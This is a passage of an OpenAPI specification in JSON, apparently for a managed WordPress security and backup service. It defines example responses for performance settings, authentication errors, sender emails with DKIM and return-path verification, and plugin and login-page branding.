"custom_urls_optimization": { "enabled": true, "urls": [ "/landing-page" ] } } } } } } } }, "responses": { "200": { "description": "Performance settings update task started successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSitePerformanceSettingsResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T08:18:30Z" } } } } }, "400": { "$ref": "#/components/responses/UpdateSitePerformanceSettingsBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "409": { "$ref": "#/components/responses/SitePerformanceSettingsConfigurationInProgressResponse" }, "422": { "$ref": "#/components/responses/UpdateSitePerformanceSettingsFailedResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } } }, "components": { "securitySchemes": { "BearerAuth": { "type": "http", "scheme": "bearer", "bearerFormat": "bvsk", "description": "Use an API Token as a bearer token.\n\nGenerate the token from **My Account > API Credentials** in the dashboard, then send it in the `Authorization` header:\n\n`Authorization: Bearer `\n" } }, "responses": { "UnauthorizedResponse": { "description": "Authentication is required.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UnauthorizedError" }, "examples": { "missing_auth": { "summary": "Missing Authorization header", "value": { "error": { "status": 401, "code": "unauthorized", "message": "Authentication is required to access this resource." } } }, "invalid_token_format": { "summary": "Invalid token format", "value": { "error": { "status": 401, "code": "unauthorized", "message": "Invalid token format." } } }, "invalid_credentials": { "summary": "Invalid API credentials", "value": { "error": { "status": 401, "code": "unauthorized", "message": "Invalid API credentials." } } } } } } }, "ForbiddenInactiveAccountResponse": { "description": "The account is inactive.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ForbiddenError" }, "examples": { "inactive_account": { "summary": "Inactive account", "value": { "error": { "status": 403, "code": "forbidden", "message": "Account is not active." } } } } } } }, "NotFoundResponse": { "description": "The requested item was not found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "not_found": { "summary": "Resource does not exist", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } } } } } }, "RateLimitedResponse": { "description": "Rate limit exceeded.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/TooManyRequestsError" }, "examples": { "rate_limited": { "summary": "Too many requests", "value": { "error": { "status": 429, "code": "too_many_requests", "message": "Rate limit exceeded. Please try again later." } } } } } } }, "DeleteManagedAccountNoContentResponse": { "description": "Access to the managed account was removed. No response body is returned." }, "DeleteSenderEmailNoContentResponse": { "description": "Sender email deleted successfully. No response body is returned." }, "DeleteTeamMemberNoContentResponse": { "description": "Team member access or invitation was removed. No response body is returned." }, "DeleteTagNoContentResponse": { "description": "Tag deleted successfully. No response body is returned." }, "DeleteSiteNoteNoContentResponse": { "description": "The note was removed. No response body is returned." }, "DeleteSiteCustomWorkNoContentResponse": { "description": "Custom work entry was removed. No response body is returned." }, "DeleteStagingSiteNoContentResponse": { "description": "Staging site deleted successfully. No response body is returned." }, "ClientsInvalidIndexQueryResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filters": { "summary": "Filters is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "created_at", "message": "Invalid timestamp" } ] } } }, "unsupported_filter": { "summary": "Filter key is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[email:eq]", "message": "Filter is not supported." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "ManagedAccountsInvalidIndexQueryResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filters": { "summary": "Filters is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[role:contains]", "message": "Filter is not supported." } ] } } }, "invalid_boolean_filter": { "summary": "Boolean filter value is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "all_sites_access", "message": "Must be a boolean." } ] } } }, "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "created_at", "message": "Invalid timestamp" } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "TestBackupDestinationUnprocessableResponse": { "description": "The backup destination could not be tested.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "google_drive_provider_disabled": { "summary": "Google Drive provider is disabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Google Drive backup destinations are currently unavailable." } } }, "google_drive_not_connected": { "summary": "Google Drive destination is not connected", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Google Drive destination is not connected." } } }, "google_drive_provider_error": { "summary": "Google Drive connection needs attention", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Google Drive connection needs attention." } } }, "dropbox_not_connected": { "summary": "Dropbox destination is not connected", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Dropbox destination is not connected." } } }, "dropbox_provider_error": { "summary": "Dropbox connection needs attention", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Dropbox connection needs attention." } } } } } } }, "TestBackupDestinationServiceUnavailableResponse": { "description": "The storage provider is temporarily unavailable.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ServiceUnavailableError" }, "examples": { "google_drive_unavailable": { "summary": "Google Drive is temporarily unavailable", "value": { "error": { "status": 503, "code": "service_unavailable", "message": "Google Drive is temporarily unavailable. Please try again." } } }, "dropbox_unavailable": { "summary": "Dropbox is temporarily unavailable", "value": { "error": { "status": 503, "code": "service_unavailable", "message": "Dropbox is temporarily unavailable. Please try again." } } } } } } }, "InvalidIndexQueryResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filter_type": { "summary": "Filters is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[email:eq]", "message": "Filter is not supported." } ] } } }, "invalid_boolean_filter": { "summary": "Boolean filter value is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "domain_dkim_verified", "message": "Must be a boolean." } ] } } }, "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "created_at", "message": "Invalid timestamp" } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SenderEmailPlanRequiredResponse": { "description": "The account plan does not support sender emails.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_required": { "summary": "Account plan does not include sender emails", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Feature not available on current plan.", "details": [ { "code": "plan_does_not_support_feature", "feature": "sender_emails", "message": "This feature is not available on your current plan. Please upgrade to access it." } ] } } } } } } }, "SenderEmailValidationResponse": { "description": "The `sender_email` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing sender_email root key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sender_email", "message": "Can't be blank" } ] } } }, "invalid_wrapper": { "summary": "sender_email wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sender_email", "message": "Must be an object" } ] } } }, "missing_fields": { "summary": "Required sender email fields are missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "email", "message": "Can't be blank" }, { "code": "blank", "param": "name", "message": "Can't be blank" } ] } } }, "invalid_email_type": { "summary": "Email is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "email", "message": "Must be a string" } ] } } }, "blank_email": { "summary": "Email is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "email", "message": "Can't be blank" } ] } } }, "invalid_email": { "summary": "Email format is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "email", "message": "Invalid email format" } ] } } }, "invalid_name_type": { "summary": "Name is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "name", "message": "Must be a string" } ] } } }, "blank_name": { "summary": "Name is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "name", "message": "Can't be blank" } ] } } }, "name_too_long": { "summary": "Name is too long", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "name", "message": "Must be at most 100 characters" } ] } } } } } } }, "SenderEmailCreateBusinessResponse": { "description": "The sender email could not be created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_required": { "summary": "Account plan does not include sender emails", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Feature not available on current plan.", "details": [ { "code": "plan_does_not_support_feature", "feature": "sender_emails", "message": "This feature is not available on your current plan. Please upgrade to access it." } ] } } }, "duplicate_email": { "summary": "Sender email address already exists", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_exists", "param": "email", "message": "Sender email already exists" } ] } } }, "sender_verification_failed": { "summary": "Verification could not be started", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Sender verification failed.", "details": [ { "code": "sender_verification_failed", "message": "Sender verification could not be started." } ] } } } } } } }, "SenderEmailOkResponse": { "description": "Sender email returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SenderEmailResponse" }, "example": { "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd", "email": "reports@example.com", "name": "Reports", "status": "verified", "domain": { "dkim": { "hostname": "mail._domainkey.example.com", "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...", "verified": true }, "return_path": { "hostname": "bounce.example.com", "value": "return.example.net", "verified": true } }, "created_at": "2026-01-10T09:00:00Z", "updated_at": "2026-01-10T09:30:00Z" } } } } }, "SenderEmailDeleteBusinessResponse": { "description": "The sender email could not be deleted.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_required": { "summary": "Account plan does not include sender emails", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Feature not available on current plan.", "details": [ { "code": "plan_does_not_support_feature", "feature": "sender_emails", "message": "This feature is not available on your current plan. Please upgrade to access it." } ] } } }, "operation_failed": { "summary": "Sender email could not be deleted", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "Sender email could not be deleted." } ] } } } } } } }, "SenderEmailUpdateValidationResponse": { "description": "The `sender_email` request body is missing, empty, or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing sender_email root key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sender_email", "message": "Can't be blank" } ] } } }, "invalid_wrapper": { "summary": "sender_email wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sender_email", "message": "Must be an object" } ] } } }, "empty_update": { "summary": "No editable fields were sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sender_email", "message": "Must include at least one editable field" } ] } } }, "invalid_name_type": { "summary": "Name is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "name", "message": "Must be a string" } ] } } }, "blank_name": { "summary": "Name is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "name", "message": "Can't be blank" } ] } } }, "name_too_long": { "summary": "Name is too long", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "name", "message": "Must be at most 100 characters" } ] } } }, "invalid_domain": { "summary": "Domain value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "domain", "message": "Must be an object" } ] } } }, "invalid_return_path_object": { "summary": "Return path value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "domain.return_path", "message": "Must be an object" } ] } } }, "invalid_return_path_type": { "summary": "Return path hostname is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "domain.return_path.hostname", "message": "Must be a string" } ] } } }, "blank_return_path": { "summary": "Return path hostname is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "domain.return_path.hostname", "message": "Can't be blank" } ] } } }, "invalid_return_path": { "summary": "Return path hostname is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "domain.return_path.hostname", "message": "Invalid hostname" } ] } } } } } } }, "SenderEmailUpdateBusinessResponse": { "description": "The sender email could not be updated.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_required": { "summary": "Account plan does not include sender emails", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Feature not available on current plan.", "details": [ { "code": "plan_does_not_support_feature", "feature": "sender_emails", "message": "This feature is not available on your current plan. Please upgrade to access it." } ] } } }, "sender_email_not_verified": { "summary": "Sender email is not verified", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "sender_email_not_verified", "param": "sender_email_id", "message": "Sender email is not verified." } ] } } }, "operation_failed": { "summary": "Return-path update failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "param": "base", "message": "Operation failed." } ] } } } } } } }, "SenderEmailPendingOkResponse": { "description": "Pending sender email returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SenderEmailResponse" }, "example": { "sender_email": { "id": "pN3mK7xQ9pL4wJ6vT2hY8bFa", "email": "billing@example.com", "name": "Billing", "status": "pending", "domain": { "dkim": { "hostname": "mail._domainkey.example.com", "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...", "verified": false }, "return_path": { "hostname": "bounce.example.com", "value": "return.example.net", "verified": false } }, "created_at": "2026-01-11T09:00:00Z", "updated_at": "2026-01-11T09:00:00Z" } } } } }, "SenderEmailResendBusinessResponse": { "description": "The verification email could not be sent.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_required": { "summary": "Account plan does not include sender emails", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Feature not available on current plan.", "details": [ { "code": "plan_does_not_support_feature", "feature": "sender_emails", "message": "This feature is not available on your current plan. Please upgrade to access it." } ] } } }, "cannot_resend_verified_sender_email": { "summary": "Sender email is already verified", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Cannot resend verification for verified sender email.", "details": [ { "code": "cannot_resend_verified_sender_email", "message": "Cannot resend verification for verified sender email." } ] } } }, "operation_failed": { "summary": "Verification email could not be sent", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "Verification email could not be sent." } ] } } } } } } }, "SenderEmailDkimRotatedResponse": { "description": "Sender email returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SenderEmailResponse" }, "example": { "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd", "email": "reports@example.com", "name": "Reports", "status": "verified", "domain": { "dkim": { "hostname": "mail._domainkey.example.com", "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...rotated", "verified": false }, "return_path": { "hostname": "bounce.example.com", "value": "return.example.net", "verified": true } }, "created_at": "2026-01-10T09:00:00Z", "updated_at": "2026-01-10T09:45:00Z" } } } } }, "SenderEmailRotateDkimBusinessResponse": { "description": "The DKIM DNS keys could not be rotated.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_required": { "summary": "Account plan does not include sender emails", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Feature not available on current plan.", "details": [ { "code": "plan_does_not_support_feature", "feature": "sender_emails", "message": "This feature is not available on your current plan. Please upgrade to access it." } ] } } }, "sender_email_not_verified": { "summary": "Sender email is not verified", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Sender email is not verified.", "details": [ { "code": "sender_email_not_verified", "param": "sender_email_id", "message": "Sender email is not verified." } ] } } }, "operation_failed": { "summary": "DKIM rotation failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "DKIM rotation could not be completed." } ] } } } } } } }, "SenderEmailVerifyDkimBusinessResponse": { "description": "The DKIM verification could not be checked.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_required": { "summary": "Account plan does not include sender emails", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Feature not available on current plan.", "details": [ { "code": "plan_does_not_support_feature", "feature": "sender_emails", "message": "This feature is not available on your current plan. Please upgrade to access it." } ] } } }, "sender_email_not_verified": { "summary": "Sender email is not verified", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Sender email is not verified.", "details": [ { "code": "sender_email_not_verified", "param": "sender_email_id", "message": "Sender email is not verified." } ] } } }, "operation_failed": { "summary": "DKIM verification check failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "DKIM verification could not be checked." } ] } } } } } } }, "SenderEmailVerifyReturnPathBusinessResponse": { "description": "The return-path verification could not be checked.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_required": { "summary": "Account plan does not include sender emails", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Feature not available on current plan.", "details": [ { "code": "plan_does_not_support_feature", "feature": "sender_emails", "message": "This feature is not available on your current plan. Please upgrade to access it." } ] } } }, "sender_email_not_verified": { "summary": "Sender email is not verified", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Sender email is not verified.", "details": [ { "code": "sender_email_not_verified", "param": "sender_email_id", "message": "Sender email is not verified." } ] } } }, "operation_failed": { "summary": "Return-path verification check failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "Return-path verification could not be checked." } ] } } } } } } }, "SenderEmailRefreshBusinessResponse": { "description": "The sender email state could not be refreshed.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_required": { "summary": "Account plan does not include sender emails", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Feature not available on current plan.", "details": [ { "code": "plan_does_not_support_feature", "feature": "sender_emails", "message": "This feature is not available on your current plan. Please upgrade to access it." } ] } } }, "operation_failed": { "summary": "Sender email state could not be refreshed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "Sender email state could not be refreshed." } ] } } } } } } }, "PluginBrandingOkResponse": { "description": "Plugin branding returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/PluginBrandingResponse" }, "examples": { "custom": { "summary": "Custom plugin branding", "value": { "plugin_branding": { "type": "custom", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "default": { "summary": "Default plugin branding", "value": { "plugin_branding": { "type": "default", "name": "Managed WordPress Plugin", "description": "Managed WordPress security and backup", "author": { "name": "Plugin Provider", "url": "https://example.com" } } } }, "hidden": { "summary": "Hidden plugin branding", "value": { "plugin_branding": { "type": "hidden", "name": null, "description": null, "author": { "name": null, "url": null } } } } } } } }, "PluginBrandingUpdatedResponse": { "description": "Plugin branding updated successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/PluginBrandingResponse" }, "examples": { "custom": { "summary": "Custom plugin branding", "value": { "plugin_branding": { "type": "custom", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "hidden": { "summary": "Hidden plugin branding", "value": { "plugin_branding": { "type": "hidden", "name": null, "description": null, "author": { "name": null, "url": null } } } } } } } }, "PluginBrandingValidationResponse": { "description": "The `plugin_branding` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing plugin_branding root key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "plugin_branding", "message": "Can't be blank." } ] } } }, "invalid_wrapper": { "summary": "plugin_branding wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "plugin_branding", "message": "Must be an object." } ] } } }, "missing_type": { "summary": "Branding type is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "plugin_branding.type", "message": "Can't be blank." } ] } } }, "invalid_type": { "summary": "Branding type is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "plugin_branding.type", "message": "Invalid type. Allowed values: custom, hidden." } ] } } }, "missing_custom_fields": { "summary": "Required custom branding fields are missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "plugin_branding.name", "message": "Can't be blank." }, { "code": "blank", "param": "plugin_branding.description", "message": "Can't be blank." }, { "code": "blank", "param": "plugin_branding.author.name", "message": "Can't be blank." } ] } } }, "invalid_author": { "summary": "Author value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "plugin_branding.author", "message": "Must be an object." } ] } } }, "invalid_string_fields": { "summary": "Custom text fields are not strings", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "plugin_branding.name", "message": "Must be a string." }, { "code": "invalid_type", "param": "plugin_branding.description", "message": "Must be a string." }, { "code": "invalid_type", "param": "plugin_branding.author.name", "message": "Must be a string." } ] } } }, "short_custom_fields": { "summary": "Custom text fields are too short", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_short", "param": "plugin_branding.name", "message": "Must be at least 3 characters long." }, { "code": "too_short", "param": "plugin_branding.description", "message": "Must be at least 10 characters long." }, { "code": "too_short", "param": "plugin_branding.author.name", "message": "Must be at least 2 characters long." } ] } } }, "invalid_author_url_type": { "summary": "Author URL is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "plugin_branding.author.url", "message": "Must be a string." } ] } } }, "invalid_author_url": { "summary": "Author URL is not HTTP or HTTPS", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "plugin_branding.author.url", "message": "Must be an HTTP or HTTPS URL." } ] } } } } } } }, "PluginBrandingConflictResponse": { "description": "Another setting update is already in progress.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ConflictError" }, "example": { "error": { "status": 409, "code": "conflict", "message": "Conflict", "details": [ { "code": "already_in_progress", "message": "Another setting update is already in progress." } ] } } } } }, "PluginBrandingPlanRequiredResponse": { "description": "The account plan does not support plugin branding.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "plan_does_not_support_feature", "message": "Current plan does not support Plugin Whitelabel." } ] } } } } }, "PluginBrandingDefaultResponse": { "description": "Plugin branding reset successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/PluginBrandingResponse" }, "example": { "plugin_branding": { "type": "default", "name": "Managed WordPress Plugin", "description": "Managed WordPress security and backup", "author": { "name": "Plugin Provider", "url": "https://example.com" } } } } } }, "WpLoginOkResponse": { "description": "WP Login branding returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/WpLoginResponse" }, "examples": { "default": { "summary": "Default WP Login", "value": { "wp_login": { "type": "default", "logo_file": null, "label": null, "error_message": null, "tooltip": null, "sender_email": null } } }, "custom": { "summary": "Custom WP Login", "value": { "wp_login": { "type": "custom", "logo_file": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...", "label": "Agency Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg", "email": "support@example.com" } } } } } } } }, "WpLoginUpdatedResponse": { "description": "WP Login branding updated successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/WpLoginResponse" }, "examples": { "custom": { "summary": "Custom WP Login", "value": { "wp_login": { "type": "custom", "logo_file": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...", "label": "Agency Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg", "email": "support@example.com" } } } }, "default_sender": { "summary": "Sender email cleared while custom login branding remains", "value": { "wp_login": { "type": "custom", "logo_file": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...", "label": "Agency Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact support.", "sender_email": null } } } } } } }, "WpLoginValidationResponse": { "description": "The `wp_login` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing wp_login root key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "wp_login", "message": "Can't be blank." } ] } } }, "invalid_wrapper": { 